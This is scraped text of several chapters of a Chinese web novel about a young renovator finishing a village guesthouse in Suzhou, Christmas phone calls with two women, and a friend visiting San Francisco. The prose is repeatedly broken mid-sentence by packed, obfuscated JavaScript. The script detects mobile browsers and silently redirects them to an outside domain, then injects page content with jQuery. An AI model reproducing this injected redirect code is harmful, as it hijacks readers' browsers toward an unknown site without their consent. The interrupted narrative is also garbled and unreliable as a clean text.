RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329540|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止的样子叫人不得不转过视线探听。 原本待在这间几乎完工的缂丝房、就像待在自家秋收的麦田般惬意的陆砚,皱了皱眉。 “怎么了?” 他回头往门外望了眼,无奈道: “刚才......老板娘说,这是她家拆出来的,卖的钱......” 懂了。 甚至懂了以后陆砚都没兴趣接着往下聊——至于卖废品几几分账,本就几百块的事,分个锤子! 要说来苏州以后他改变最多、进步最大的是什么,那一定是脾气无疑。 已经被沈秀娥打磨通透了,你要的全拿走吧! 说来好笑,以前做古建项目的时候,随便少修一个难搞的构件,或是稍稍降低一点修复标准,落到自己手里就能多出大几千。 那时候也不算视金钱如粪土,只是理所当然觉得,有些文化上的底线,比钱更重要。 如今在这忙了三十多天,绞尽脑汁、东省西抠,连瓷砖都是蹭来的,前后折腾个遍,才勉强挤出几千块利润。 这不能简单的评价为‘被生活重锤了’。 只是有点感叹: 明明是同样的人,平台还是太重要。 就像浴缸里掀起一片水花轻轻松松,若是茶杯也想凑热闹,那得倾其所有。 陆砚正在这只茶杯里自得其乐地游了一下午,活干得异常顺利。 不知何时,楼下那一排旧木架已被人修葺整齐,连暗沉的木头表面都被擦得泛出温润光泽,搬上来立刻就能用; 缂丝房的桑皮灯笼费了些工夫调整角度,灯带倒装得利落,一拉一固定,不出十分钟就已接亮; 接好开关插座,清走施工垃圾,整个房间终于有了点它该有的模样—— 一进门,四盏桑皮灯笼拉起氛围,墙面将来会错落挂上沈语棠的缂丝作品,下方的展示架上整齐陈列着丝线、竹梭和半成品,灯带的光晕沿着轮廓流淌,把织机和工作台映衬得值钱了不少。 明天去王师傅那把订做的家具收个尾,这边慢慢补充细节,就差不多真正完成了。 第七十六章 天将雪,人正暖,满堂欢 上海极少下雪,正因如此,08年那场雪才成了记忆中的经典。 而一旁的苏州,虽说每年也就飘个六七天的雪,但相比隔壁,冬天的味道还是多了不少。 天气预报说,就要下了。 傍晚时分,天色沉得发灰,屋里炭盆早早点起,搁在长桌底下,三人围坐。 这次没有有煮茶,趁闲聊聊装修的进度。 “如果装修这件事情可以量化,那么此时已经完成百分之八十五了。” 冯小军‘啊?’了一声:“才八十五?我怎么觉着快九十五了。” 张野苍蝇搓手,语气得意: “老洋房那会,教你裁防护罩的时候不是说了么,料要裁长、留气孔——剩下那百分之十五,都是交付前边查边补的精细活。” 不过这房子确实一天一个样。 单看一楼门面:吊顶换了,楼梯加固了,桑皮纸灯笼也挂上了,旧木门重刷了环保漆——一点味儿都没有,敞开就能用。 大厅收拾得干净亮堂,现在就算突然过年,也完全不必再额外打扫。 “所以说,不真刀**做一回,就永远不知道咱们的复合型人才藏这么深。” 陆砚朝对面抬了抬下巴。 装修这段时间,张野确实是又做水电又抹水泥,几个工种之间切换自如—— 这都是认识之前,他一点点摸爬滚打攒下的经验。 不知是良心发现、还是想试试新房,呼噜兄弟里面较小的那位突然发问: “陆哥,那装好的房间......现在能住人了吗?” 其实都盼着能分房睡,但陆砚犹豫了下。 客房没添新家具,也没刷漆,腻子也干透了,理论上确实没有甲醛之类的隐患...... 可老板娘会怎么想? 验收还有五六天,万一住脏了人家不乐意怎么办? 平安夜,为了‘世界和平’,他决定把这个话题轻轻带过。 中途,老板娘送来一盘苹果和一个沈语棠,苹果红润饱满,小姑娘的笑容亦如是。 她过来靠着陆砚坐下,安静伸出手,从里面仔细挑了一个,递给了过来。 冯小军眼尖,立刻嚷道:“陆哥这个最大!” 这种破坏团结的话怎么能接茬? 陆砚一脸正直,为了争取今年的诺贝尔和平奖则表示: “小军的视力天赋还是太差,明明盘子里的苹果都一样大。” 张野在一旁笑,“沈妹妹,帮哥哥也挑一个。” 沈语棠闻言,又选了一个递过去。 张野朝冯小军扬了扬眉,当即问道:“小军,这个是不是最大的?” 冯小军老实摇头。 见状复合型人才立刻叹气,语气沉重: “你这视力......以后做古建怕是要走很多弯路。” 这不是指鹿为马又是什么? 大就是大,小就是小,吃一碗粉就给一碗粉的钱! 面对赤裸裸的职场服从性测试,冯小军直接重拳出击: “沈妹妹给哥哥我也挑一个。” 沈语棠先抬头看了看陆砚,见他嘴边压着笑,便又挑了一个,这次很小心的、挑了个相对大的。 冯小军接过苹果,学着他刚才的语气反问: “张哥,这个是不是最大的?” “哈哈哈——” 憋笑挑战陆砚还是输了,而张野则瞬间气急败坏:“简直倒翻天罡!放古代,你这种人是要浸猪笼的!” “等等......男人也浸猪笼?” “野史是这么说的!” “哈哈哈——” 十二月二十四日晚,天将雪,人正暖,满堂欢。 ...... 看来苏州连雪也比一般地方害羞,陆砚在外面找了一会,就是不见其踪迹。 此时十点刚到,手机便嗡嗡振动起来。 接起来,那头正是带着绒帽、白乎乎的苏棠,一开口声音比平时软了好几个度,黏糊糊地说: “陆砚......你那民宿叫什么名字呀?我怎么在地图上搜不到。” 你找民宿的名字作甚? 他下意识回答:“就没名字,怎么了?” 民宿也有专业和业余之分,聊到此处,看来之后有必要帮忙打块牌子当招牌...... “那不行呀,”她带着一股娇憨的埋怨,“我不能总白收你的好处......那不成道德败坏的女人了嘛。本来还想平安夜叫个跑腿给你送苹果呢。” 平安夜......又是苹果。 话说,跑腿费比苹果本身还贵吧?甚至不如网购呢。 她今天,有点奇怪。 “有心就够了,就当老学长照顾小学妹,应该的咯。” “不行,我不想被你这点小恩小惠拿捏。” “...” 好一个不想被小恩小惠拿捏,意思是,要被拿捏就得来个大恩惠? 她捧着脸,扭捏道:“要不,我给你送来吧。” 陆砚一时语塞。 刚还说邮费比苹果贵,您这还不止、准备亲自送来——好一个礼轻情意重啊! “苏棠,”他尽量让语气听起来靠谱点,“来回车费也不便宜,咱们别这么铺张,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338351|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不?” “哎呀烦**!”她在那头跺脚,走廊上的感应灯都亮了,“谁叫你那儿连个名字都没有!我想给你送点东西都不方便!” 他刚想说‘你可以地址写镇上,明天我自己去拿’,就被一个眼神瞪了回去—— 好吧,原是找个由头溜过来玩。 陆砚正想着要是她晚两天来就好了——等忙完了最后这点工,也能安心陪她转转。 却没料,这点隐秘的想法转眼被古希腊掌管许愿的神听见了,苏棠拍脑门‘哎呀’一声: “对了!25号要陪室友庆祝考研结束......那我26号再来找你吧!苹果就在镇上下单,你记得去拿哦!” “...” 槽点太多了。 然而陆砚看着暮蓝色天边,只想向神明挽回一次许愿的机会。 试问人的一生能有几次心想事成的时刻,这种可遇不可求的名额,不要用在这里啊! “陆砚,听见没有!” “知道啦、知道啦。” 他懒洋洋回答。 当然看得出对方卡着时候来的心意,感动但面上不动声色: “有没有想要的?不然到时候我在最大的苹果上写你的名字?” “呸呸呸,谁要苹果呀,土不拉几的,要不你帮我做个手链?用金子打的最好,嘿嘿......” “...” 犹记得曾经,自己是那样喜欢无视对方,那时是那样快乐...... 哎,退步了退步了。 “美得你,挂了啊。” “晚安晚安!” 他开始往回走,一路上什么也没想,那样静静的扣响窄路,在只容一车通过的路上悠然穿行。 天上是缺角的月亮,地上是凝聚的白霜,恍惚间,能听到遥远的蛙声—— 这断然不可能发生在冬天,可谁叫文学中有‘通感’的说法呢? 陆砚此时就是这般姿意。 他想到了自己的春天,也想到了自己秋天,两种季节交替,此间曾随‘老洋房’破产而消失的心气悄然回归。 这份心气很重要,这份心气,比雄激素更深刻,比第二性征更根本,是将人分化成男人和女人的关键。 你要敢去拼、敢去负责,要清醒地意识到:自己将会是别人的倚靠,而不能再倚靠别人。 这就是精神上的男人。 他知道,想法很中二。 就像大家都在讨论何为现实、如何赚钱的时候,一伙年轻孩子却在旁边讨论哲学、讨论人生意义、那样显得‘幼稚’。 可是,真的如此吗? 第七十七章 痴情种 寒风卷过房檐,土坯墙嵌着木门,王师傅的工作室窝在村头,不管什么洋节土节,寒冬腊月照样大门敞开—— 冷风穿堂过,人也照常忙。 反正陆砚是这样认为的。 不然,若屋里的小伙子是因他的单子才被迫赶工,那心里可真过意不去。 今天是交货的日子,他起了个早,照常给杨灵发完邮件就过来了,顺带问问做手串的事。 王师傅听完愣了半晌,透过眼镜仔细瞅着: “你小子......还真是个痴情种。送挂件、送家具,这回送手串......你打听好了?” 细细打磨声中,旁边皮肤黝黑的小学徒抬起头偷笑。 陆砚老脸一红。 毕竟挂件、家具和手串可不是送给同一个人的...... 推论是错的,不妨碍另辟蹊径到达正确结果——他正是痴情种本人没跑了。 干咳一声,顺着说下去: “是,打听好了,她主动问我要的。” 这时,六子刚好打磨完一件‘蚕眠桑叶’的摆件,凑过来祝贺道: “陆师傅,谁说咱们手艺人没有春天?祝你和嫂子早日修成正果。” “多谢。” 嫂子? 他心里吐槽,自己只是做个手链,小兄弟至于提八竿子打不着的杨灵吗? 虽然这里还没有人知道杨灵。 但现在的年轻人,真是联想力过剩呐。 小小工作室转眼成了手工课堂。 陆砚手指僵硬地学着串珠,王师傅那边十三件木雕也渐近收尾,得到对方‘天黑前一定送到’的承诺,便安心先撤。 今天是圣诞,西洋人的新年。 就像咱们过年,不管熟不熟,说句吉利话总不会错——杨灵那姑娘礼貌得很,恋爱时都还经常说‘谢谢’,肯定会回邮件的! 出门没走几步,就撞见赵老汉揣手蹲在墙根。 两人视线一碰,他先点点头,见对方无意开口,便踱步离开了。 等陆砚走远,赵老汉才朝地上啐了一口,低声骂了句: “切,还上海来的,什么东西。” 声音不大,混着寒风成了没头没脑的暗语。 ...... 自沈秀娥家改成民宿起,这屋里就少不了人来人往。可一个月来,有人登门不为住店、不为生意,还是头一遭。 “秀娥姐——语棠,秀娥姐在家不?” 来人是叫阿琴的女人,南浦浜村淳朴的村民则叫她‘李家媳妇’。 约莫三十来岁,裹着一身极厚实的棉睡衣,整个人像压矮了一截。 身后站着个干瘦黝黑的男人——那脸黑得自然,与心情无关。 “姆妈!”沈语棠尽力呼喊,调子依旧不高,还没女人之间见面打招呼来得响亮。 沈秀娥一把撩开布帘,人还没露面,声先跑出来: “哎哟,阿琴来啦......还有小李,快快,进来坐!” 两女人一相见,面上便热络得不行,身后那男子显得沉默。 见人无数的沈秀娥又怎会冷落了他? 再说,这次的事,还多亏了人家同意。 “阿琴,弟弟,你们可是好久不来一趟喏,待会一定要留下来吃午饭......正好今天是个什么节日来着。” “嫂子不用客气,洋人的节,咱不过那个。” 男人搭起客气的墙,显然不想多留。 阿琴见状接话: “秀娥姐,是圣诞节!要不是你这儿正装修,今天怕是挤都挤不进人咧!” “嗨哟,我这怎么可能没你们坐的地方......” 屋里你一句我一句,尽是些不痛不痒的寒暄,就像野外烧烤时肉都烤香了,却没一个人好意思先伸手。 沈语棠听着听着就走了神,托腮坐在门口朝外望。 通过师俭堂考核之后,她就提前放了寒假。 跟拍她的摄像头还是那个角度、那个光圈,日子与以往并无不同。 什么时候才下雪呢…… 忽然,小姑娘眼睛一亮,笑着站起身—— 陆砚盘着刚做的手串掐点从王师傅那回来,见沈语棠在门口,下意识将手串往袖里藏了藏。 “语棠,等我呢?还是在等午饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338352|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “都等呢。” 进门往里望,正要上楼看看张野他们收拾得如何,却瞥见厅里坐着三人,稍感意外。 他侧过头,沈语棠便默契地走近几步。 少女正齐下巴,身上带着淡淡的清香,姿态比从前亲近许多,陆砚低声调侃: “高考前和高考后的待遇截然不同,现在你在家,老板娘都不按时做饭了。” 她变得活泼了些,抿嘴笑起来,没反驳,眼角弯得明亮。 大厅那端,男人抬高了嗓门: “反正,农家乐的补贴就下来了,嫂子你的店经营类目这么多,我们就一农民,可差远咯!” 旁边女人连忙打圆场,沈秀娥恳诚应酬,话里话外都是承情道谢。 陆砚只是一个要去二楼、正好路过的假面骑士,多的再没听到。 可只这零星几句,已然足够让他想起最初沈秀娥给上的一课—— 明明补贴十万,却只说返三成、报六万,顺势把价也压了下来。 啧啧,俱往矣。 现在只觉得感慨,时间过得好快。 楼上传来家具拖拉的响动,陆砚迈步上去,张野和冯小军正把桌椅归位。 每拖动一声响,张野就喊‘抬一下’,冯小军便赶忙搭手。 陆砚在一旁看着,心下认可。 验收验收,人家肯收那就不用验了。 就算拖动不至于刮坏地砖,‘买家’听着也总觉得亏了。 至于官方验收——他倒不太担心。之前特地去镇上几家民宿转了转,自己这边虽不算顶出色,也绝不低于标准,通过不成问题。 冯小军拍拍手上的灰,凑过来问: “陆哥,现在就剩下头三张床没搬了。咱们......搬不搬?” 人当然要睡床上,搬床就等于搬家,这个问题上次陆砚跳了过去,如今又被提起。 冯小军不死心,又补句:“咱们不搬,以后她们娘俩更搬不动啊。” 见状陆砚也只能干脆应答: “行,一会儿我去跟老板娘说。” 冯小军这才满意点头,转身继续干活。 第七十八章 气氛和睦 (以下人物对话皆由中文翻译替代) 十二月的旧金山本不常下雪,可今年圣诞赶上了。 凌晨开始飘的细雪把整条第16大道的屋顶染成淡奶油色,街区的小男孩在对面堆了个雪人,插上橡树光秃秃的枝桠,又用碎布片围了圈花花绿绿的围巾。 早上八点整,撒切尔女士按响门铃——这位邻居是位总穿驼色羊毛外套的退休教师,儿女双全、家庭美满,还养了条体重超标的金毛。 门外银装素裹,她一手提包,一手托白瓷派盘,盘外面裹格子厚布: “圣诞快乐!亲爱的杨,刚从烤箱里拿出来的南瓜派。” 带点波士顿卷舌的口音裹着寒气飘进来,杨灵在睡衣下打了个哆嗦。 回了句‘圣诞快乐’并表示道谢,撒切尔补充道: “我在里面放了肉桂粉,如果没记错的话,那是你最爱吃的.....配热可可正好,对吗?” “是的,谢谢,咱们进来说吧。” “哦不,不用。” 这位热情的邻居递过盘子,又从包里翻出一瓶蜂蜜: “是教会农场自己的蜂产的,主教导我们要吃洁净的食物,克制对甜腻的贪念,一次不要吃太多就好。” 两人在门口轻轻拥抱,杨灵目送她踩着积雪走回隔壁,才关上门,迎向这个被迫开机的圣诞早晨。 昨天熬了夜。 或者说,回美国的一个多月,尽管已经在学校当助教代课,她还没能把时差调过来。 在床上又歇了会,花一个半小时查看邮箱,洗漱完成将近十点。 今天可没有外卖吃,得自己做午餐。 提前一周在家堆满食物的她,先利用食谱、电子秤等工具,在铸铁锅里炖奶油蘑菇汤,后在旁边的烤盘里码好了切好的土豆块—— 本来该放两颗的,想了想,切了四颗。 上海到旧金山要飞十四个小时,机场到这里差不多四十五分钟,算算时间也快到了。 “叮咚!叮、叮咚!” 正想着,门铃再次传来。 这次的动静断然不是老师出身的撒切尔女士,有可能是......哪个恶作剧的孩子。 她将火调小,从厨房走到客厅,客厅到门口的距离并不远,却走很慢,仿佛身处电影镜头、从冬天走过一样。 曾经学校有人这样评价杨灵: 冰雪般的肃穆。 确实以第三视角看,她面上总是那样平静、认真。 来至门前,杨灵才发现没穿拖鞋,可手已经拉动门栓—— “咔嗒!” 先是丝丝冷气渗进温暖的室内,随后,带着一身风雪的顾南乔翩然映入眼帘: 长及膝盖的靛蓝色羊绒风衣,墨黑发丝沾着雪粒、攀到嘴角,笑脸明亮又鲜活。 “圣诞快乐灵灵!” 话音未落,手提包已被随手丢在地毯。 她张开双臂就迎上来一个结实的拥抱,不等对方反应,又孩子气地晃了晃杨灵的肩,顺势在她左侧脸上‘叭’地亲了一口。 “乔乔,圣诞快乐。” “来,这边也对称一下!” 说罢又是‘吧唧’一声,轻快的吻落在右颊,她这才心满意足松开手——几万块花得机票值了。 杨灵面上平淡,弯腰帮她拾起手包。 顾南乔早已踢掉短靴,就像回自己家一样欢快地往里走。 原来,没穿拖鞋站门口,也不是那么冷。 ...... 晚上吃饭,炭盆在一旁暖融融烧着,一桌人围坐菜管够,气氛和睦得像过年。 场上唯一吃相斯文的陆砚还惦记着时差—— 中美隔了十二个小时,他早上发的那封邮件,估摸**点钟杨灵就能看到了。 沈秀娥挨着沈语棠另一边坐,今晚依旧和众人一块吃。 饭至中途,她放下筷子,语气有些迟疑: “陆师傅......有件事,我得跟你坦白。之前......我撒了个谎。” 陆砚抬眼,心里已猜到七八分,其实也早不放在心上了—— 宽容是种美德,希望杨小姐也有这样的美德,阿门。 “嗯,您说。” “但如今这谎,总算能圆回来了。” “哦?” 这下他真有些意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346847|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆谎?这又是什么说法。 难道补贴那十万出了岔子,真变成六万了? 沈秀娥细细道来。 原来非遗补贴是分两期发的,说是六万,其实还有三万要等一年后才到位。 当初说验收完就能垫资全还上,其实是给他画了张饼。 陆砚一时无语。 当初为什么会答应垫资? 不就是看她们孤儿寡母不容易,以为对方不会、也不敢骗他。 哪知道这位从一开始,胆子就比想象得大。 沈老师的‘教学含金量’还在持续上升——没错,自始至终,给他上课的,都是这位年长一轮的沈老师。 沈秀娥接着说: “好在还有一笔农家乐补贴下来了,装修完差不多一周左右,垫资就能全还上。” 原来如此。 还款是能还的,只是来源和当初想的不一样。 这点他真的哭死,比那啥博一张老板好多了,至今,外头还有两个项目尾款没拿到呢! 这么一看,非遗补贴确实只有六万,倒也没全骗他。 就像今天在王师傅那一样,他说做手串,王师傅夸深情——全程下来,他有说谎吗? 只要能还款,沈秀娥的做法往小了看,不过是语言艺术罢了。 之前自己心里那点疙瘩,说到底只是场误会。 而现在,他更看重的,是这段经历带来的成长。 陆砚竖起大拇指:“好啊,圆回来了就好。” 沈秀娥语气也跟着一松,笑着看向桌上其他人: “三位师傅这一个多月辛苦了,挤在一起睡也休息不好。今晚就搬去楼上住吧!” 听到这冯小军才有点反应,跟突然宣布圣诞节变成我们的节日那样应景高兴。 “来来,今天是个好日子,咱们提一杯,暖暖身子!” 酒文化推广大使-张野适时提议,不得不说,氛围真的契合。 所以语棠...... 陆砚随即微微一笑,给自己倒满,给对方添了点底——卡在她酒量瓶颈属实不易。 杯盏相碰间,往事如烟,尽散于暖酒和炭火气之中。 第七十九章 有礼貌的女士 夜晚搬完床,一个人躺在被子上,想着: 此时九点的月亮,又何尝不是另一边九点的太阳? 两人看似遥遥相望,实则同辉同映,都在一个世界生存,并非遥不可及。 他攥着手机,音量调到最大,一半心神流连于窗外的万物,另一半系在可能漂洋过海的邮件。 就像两个人并肩在门口守候,一个不经意被路边的花草吸引了注意,另一个却始终绷紧神经—— 只待目标出现,便立刻拉起对方冲上前去。 “噔噔噔噔噔噔——” 苏棠比平时更早打来电话,背景有几个女生,看装潢像在日料店。 “这是我男朋友。” 开口暴击,陆砚惊。 好家伙,这可比脱口秀演员费心吸引观众注意力来得有效果,六个字短而有力拉起了陆砚的神经。 “苏......” “一直没告诉你们主要是他低调,经常接我视频都得在没人的小道上接。” “...” 等等,好像‘男朋友’的角色和自己有关。 虽然没买票就不算观众,可也不至于被当场拉到台上参演吧? 镜头一晃,苏棠举着镜头对准包间六人,有男有女,有胖有瘦。 面对突然发现情况他没有慌,不知为何,甚至有点熟悉这个剧本——或许是老天赏饭吧。 陆砚充分展示天赐的禀赋:“棠棠,他们都是你的朋友?” ——‘介绍一下人物关系,我好发力’。 ——‘你别发力,我自己来’。 两个线人眼神传递接头暗号,苏棠立马演起来: “哥哥,这边是我室友,这边是同学,昨天跟你报备过了哦。” ——‘报备?你昨天就说了要手链的事!’ ——‘闭嘴啦,让你坚持三分钟有那么难吗!’ 顿时,几个女生像外国人围观大熊猫一样打量过来,后又像外国人看到大熊猫之后满意地感叹: “哇,你居然真的......” “棠棠,平时吃这么好嘛~” 透过屏幕中‘稍显虚荣但正在努力谦虚’的女大,陆砚敏锐看到几人缝隙后头,一个皮肤很白但此刻脸色略显暗沉的男孩子、目光呆滞, 有种‘明明是白月光同桌、为何出门就有两个孩子管你叫妈’的人生幻灭。 苏棠在众女调侃下有点招架不住——确实车速快——遂急匆匆打算挂断。 小姑娘明显不是演技派,想自然声音却又微微带颤: “那,哥哥,等我回去再视频,么么。” 好家伙,陆砚不知这波算赚了还是血赚,总之,好戏开演也不差个结尾了。 “么么,宝贝一会记得打给我昂~” 视频通话时长两分半,挂断第一瞬间他就乐不可支笑出声,隔壁冯小军拉开窗在阳台上伸头好奇打探。 应付完吃瓜群众后,陆砚伸手在窗外探了探。 在行李箱找出红色围巾,决定出去散会步。 ...... 窗外飘着温柔的雪花,屋子没有童话里的烟囱,却不影响人懒洋洋地靠在沙发,度过像夏天一样的餐后时光。 “灵灵你好像瘦了,这样可不健康。” 一块收拾好餐桌后,顾南乔抱膝蜷在沙发一角,拍了拍旁边的位置,让对方靠过来。 杨灵拿着两杯热牛奶,迟疑一瞬,还是坐近了些——这个细微的瞬间自然逃不开盯着条款咬文嚼字的人。 但并不担心。 有隔阂很正常,几经试探,差不多进入她能掌控的状况。 何况女人和男人相处不一样,此时只需要有个共同的敌人,两人就会再度联手、消除隔阂。 “其实很多事情我没来得及说,但你一定要往好的方向想......” “嗯。” 顾南乔拿起手机,滑动页面、伸过去。 “你看,很久以前我就把他拉黑了,直到现在还在黑名单里。” 窗外传来喧闹,撒切尔女士的大儿子带着刚上初中的女儿在对面街上打雪仗,身后跟了条胖到行动憨厚的金毛。 杨灵回过头先看了看顾南乔,这个从未想过断开关系的朋友——甚至此前都没想过,‘会将近一个月不回她消息’这件事。 好在对方主动过来了。 将牛奶放在手边,肩膀靠了过去,两人慢慢‘叙旧’。 ...... 没有月亮但有路灯,路上氛围很好,脚步回响,一个人和影子玩得不亦乐乎。 十点二十,苏棠打来电话,开口就气急败坏冲陆砚嚷着‘不准笑’ 可是笑这种事情怎么憋得住? 他又不是受过专业训练的。 “鹅鹅鹅——” 声音之大惊得南浦浜村传来几声狗叫警示。 两人之间有些怪异的气氛也随着狗叫被打破,苏棠没绷住严肃也漏了憨。 “哎,哥哥喊得甜,综艺没白看啊小苏。” “咦——,变态变态,还叫人家宝贝,真的好恶心!” 随后两人就‘哪种的叫法比较肉麻’展开讨论时,一条消息弹框而出——是邮件! 他面上不显嘴边应付着,动作却专注到眼前只有手上的屏幕,就连此时在机械说着什么都忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346848|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 不是垃圾信息、也不是除列表之外的陌生信息,‘收件箱’里躺着的信、是来自他已经能背下来的邮箱号。 来不及激动,手指点下去—— ‘知道了,圣诞快乐’。 知道了,圣诞快乐。 这短短七个字像一篇牵动情丝的散文,让想要被看见的、得以看见,想要传达的、确认传达。 瞬间抚平近日所有褶皱,让一切遭遇有了意义,一切意义有了归宿。 就像在沙漠行将驶停的车突然加满油、还看见了绿洲—— 下雪了。 “跟你寄到镇上的东西现在都没拿,就这态度我大度喊陆叔叔就不错了,想必你也有一定自知之明,‘哥哥’那件事就不要想了,以后嘛,得看心情......” “下雪了。” “啊?” 有些昏黑的四周突然降下一小颗、近距离看是一小团的雪,它来自一万米的高空,从无人的地带着一身晶莹纯洁而来,落在身前、围巾上,白得那样耀眼。 他偶尔鼻尖酸涩,却随着后知后觉的喜悦变得亢奋。 “苏棠,下雪了,你看见了吗!下雪了!” “哪里哪里!我看看!” 镜头那边是土生土长的上海女人,天然为雪、以及雪背后的故事着迷。 陆砚伸手去接,调整镜头对准天空,天空一片漆黑。 “看不见啊......你开灯试试。” 男人随后开灯,灯打在不完全黑的夜空,稀疏的雪粒便有了轨迹。 它来势并非凶猛,像一个有礼貌的女人,轻轻拍了拍你的肩膀。 “还是......看不见,你蒙我的吧,哥哥。” 陆砚对着镜头笑了笑。 有时候就是如此,那样东西悄悄到你身旁,甚至你开了灯、它在你眼前满眼都是,可旁人却无从看见,这就是人生—— 遗憾吗...... 可是,它是雪啊。 带着某种精魄而来,又何须被所有人看见? 甚至,独独被一人看见,才是最好的宿命。 “说明,这场雪被我包圆了,为我一人独享。” 那头的苏棠当然不愿意,哥哥都喊了,岂能颗粒无收? “不行!这可是初雪,你在雪地里多站会,堆多了我就看得见了......” “...” 可它是雪,质本洁净的事物,又哪缠得住巧言辞令慢慢缠磨? 正如苏棠所说,待久一点,总会面向世俗。 在这之前—— 陆砚对围巾上的雪花拍了张照,发给了大洋彼岸、有礼貌的女士。 第八十章 律师的自我修养 雪一直下不大,他便在外头多呆了会,直到围巾沾的雪粒能被苏棠看清,才冒着风雪和几声甜但略带嫌弃的‘哥哥’回到民宿。 将近十一点,沈秀娥母女坐在门口。 “老板娘,你们也看雪呢。” 有浪漫细胞的人幸福感相对会高一些,就好比同样的夜晚,张野和冯小军就错过了这风雪,怎么不算可惜呢。 老板娘摇头,眼里大有‘俺不是那样人’的笑意: “看雪是顺带的,有客人出去了总得等人回来,我们才锁门的。” 说到这,陆砚有点不好意思—— 人家平时五六点就起,十一点没睡,算为自己这个不着调的客人熬夜了。 不过天天这么守着也不是长久之计...... 心里决定明天去镇上的时候帮忙买把电子锁回来装上,解决这个痛点。 “那语棠你呢?不好好玩游戏也在等客人回来?” 这时老板娘交代一会记得锁门,打着哈欠往屋里走,将场面交给两人。 沈语棠靠过来些,仰头的角度和灯光反射,正好构成一幅静妍美人图: “陆哥,淋到头场雪有好运。” 没想到安安静静的小姑娘能说出这样迷信的话来,但正巧,这个说法十分得他心意。 若此时有个教会冒出来,称‘第一场雪会让有情人终成眷属’,那他会毫不犹豫将科学推到一边,给信仰换个学籍。 男人装傻充楞道: “那你家民宿淋得多,翻过年生意肯定不差。” ...... 杨灵提前采购的食材等物料压根没派上用场,本该隆重的晚餐像过日常任务、飞速跳过了。 室内地暖充足,两人仍披同一块毯子凑着说‘坏话’,其中一**侃特侃,让人怀疑是顶尖律师的自我辩护现场: “真的,一直以来他都隐藏得太好,陆砚就是个渣男没跑了!灵灵你要信我,那天要是知道他喝醉了,我第一时间绝对会给你打电话,如果电话没打通,那第二通电话就是报警...... 也怪我,真是千防万防没想到,你家好几个房间,他会突然过来......” 细节全对得上,话没讲完,杨灵便点头: “我信。” 顾南乔顺势把她肩膀搂住,语气一转,安慰道: “所以啊,你二话不说直接离开、我是支持的,及时止损真觉得太酷了没有没!关于这点我从小就想向你学习,做事从不拖泥带水......” “噔噔噔噔噔噔——” 她松开手,一挺身替杨灵把手机递了过来。 后者也没避讳着闺蜜,当即接通视频。 “我美丽漂亮、善良帅气的姐姐,MerryChristmas(圣诞快乐)!你......” 带兜帽、一身亮闪闪装饰的杨嘉突然表情一滞,高兴的情绪如泄了气的轮胎,顿时不跑动了。 “顾南乔!你怎么去那边了!” “你妹妹好可爱啊。”被点名道姓的顾南乔也不恼,小鸟依人靠上去,友善真诚打招呼:“MerryChristmas,嘉嘉。” “别这样喊行吗?我们压根不熟。姐......你俩靠一块不热吗?她这人......” 画面中的女孩瞪着眼几欲呵斥,顾姓女子顿时来劲,侧身就一口亲上去。 “顾南乔!” 杨灵轻轻推开,这时才有空隙开口。 屋外飞雪飘摇,屋内温暖宜人。 然而某人如幽灵一样时不时出现在画面一角,杨嘉又哪里心平气和聊得下去? 几句便挂断了。 小插曲过去,顾南乔捧着牛奶一副贤淑贵妇模样: “灵灵,一起看动物世界不?” 杨灵笑了笑,欣然同意,两个脑袋在沙发上又抵在一起...... 顾南乔常常感慨时间之伟力,一晃眼她们就长大了。 ...... 二十六号,陆砚几人先将王师傅送来的木雕工艺品逐一布置妥当——最重要的,是把非遗认购的发票收好。 